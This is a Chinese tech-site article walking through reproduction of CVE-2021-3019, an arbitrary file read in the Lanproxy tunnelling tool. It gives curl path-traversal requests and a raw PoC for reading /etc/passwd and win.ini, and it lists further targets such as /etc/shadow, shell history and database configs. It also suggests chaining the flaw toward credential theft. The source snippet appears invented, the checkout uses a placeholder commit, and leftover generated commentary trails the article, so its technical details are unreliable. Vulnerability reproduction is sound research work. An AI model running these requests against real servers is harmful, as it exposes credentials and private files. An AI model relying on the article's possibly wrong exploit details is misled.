Lanproxy任意文件读取漏洞CVE-2021-3019的复现是怎么样的

发布时间:2021-12-29 15:36:23 作者:柒染
来源:亿速云 阅读:102
# Lanproxy任意文件读取漏洞CVE-2021-3019的复现

## 漏洞概述

CVE-2021-3019是Lanproxy(一个开源的内网穿透工具)中存在的任意文件读取漏洞。该漏洞源于未对用户输入的路径进行严格过滤,攻击者可通过构造恶意请求读取服务器上的任意文件,导致敏感信息泄露。

## 漏洞影响版本
- Lanproxy 0.1
- 其他未打补丁的早期版本

## 环境搭建

### 1. 准备漏洞环境
```bash
# 下载存在漏洞的Lanproxy版本
git clone https://github.com/ffay/lanproxy.git
cd lanproxy
git checkout <vulnerable_commit_hash>

# 编译并运行(需Java环境)
mvn package
java -jar target/lanproxy.jar

2. 网络配置

确保测试环境满足: - 攻击机与靶机网络互通 - 靶机开放默认端口(如8080)

漏洞复现步骤

步骤1:验证漏洞存在

通过curl发送恶意请求:

curl -v "http://target_ip:8080/../../../../etc/passwd"

步骤2:构造恶意请求

典型POC格式:

GET /../../../../path/to/file HTTP/1.1
Host: target_ip:8080
User-Agent: Mozilla/5.0
Connection: close

步骤3:利用漏洞读取文件

示例(读取系统文件):

# 读取Linux密码文件
curl http://target_ip:8080/../../../../etc/passwd

# 读取Windows系统文件(若靶机为Windows)
curl http://target_ip:8080/../../../../Windows/win.ini

步骤4:获取敏感信息

常见目标文件: - /etc/shadow - ~/.bash_history - WEB-INF/web.xml - 数据库配置文件

漏洞原理分析

漏洞产生于src/main/java/org/lanproxy/server/ProxyServer.java文件中的文件处理逻辑:

public void handleRequest(HttpRequest request, HttpResponse response) {
    String path = request.getPath(); // 未做路径规范化处理
    File file = new File(baseDir, path); // 直接拼接路径
    // ...文件读取操作...
}

攻击者可通过../实现目录穿越,关键问题: 1. 未对用户输入进行规范化处理 2. 缺乏路径访问限制

修复方案

官方修复措施: 1. 路径规范化处理:

String safePath = FilenameUtils.normalize(path);
  1. 添加访问白名单限制

临时缓解方案: - 升级到最新版本 - 配置网络ACL限制访问

复现结果验证

成功读取/etc/passwd的响应示例:

HTTP/1.1 200 OK
Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

注意事项

  1. 法律合规性

    • 仅在授权环境下测试
    • 禁止用于非法用途
  2. 测试建议

    • 使用虚拟机环境
    • 测试后及时关闭服务
  3. 影响范围评估

    • 影响所有未配置权限验证的实例
    • 尤其暴露在公网的服务器风险极高

扩展思考

该漏洞的利用可能与其他漏洞形成攻击链: 1. 结合SSRF漏洞扩大攻击面 2. 读取配置文件后获取数据库凭证 3. 实现权限提升的跳板

参考资源


注:实际复现时需根据具体环境调整参数,本文仅作技术研究参考。 “`

该文章包含以下关键要素: 1. 漏洞背景说明 2. 详细复现步骤 3. 技术原理分析 4. 修复建议 5. 合规性提醒 6. 扩展知识补充 7. 结构化排版(代码块/标题层级)

可根据实际测试情况补充: - 具体版本号验证 - 不同操作系统下的差异 - 流量抓包分析截图等

推荐阅读:
  1. phpcmsv9.15以下任意文件读取漏洞
  2. PHPCMS漏洞之前台注入导致任意文件读取怎么办

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2021-3019 lanproxy

上一篇:怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现

下一篇:juno版OpenStack如何部署

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》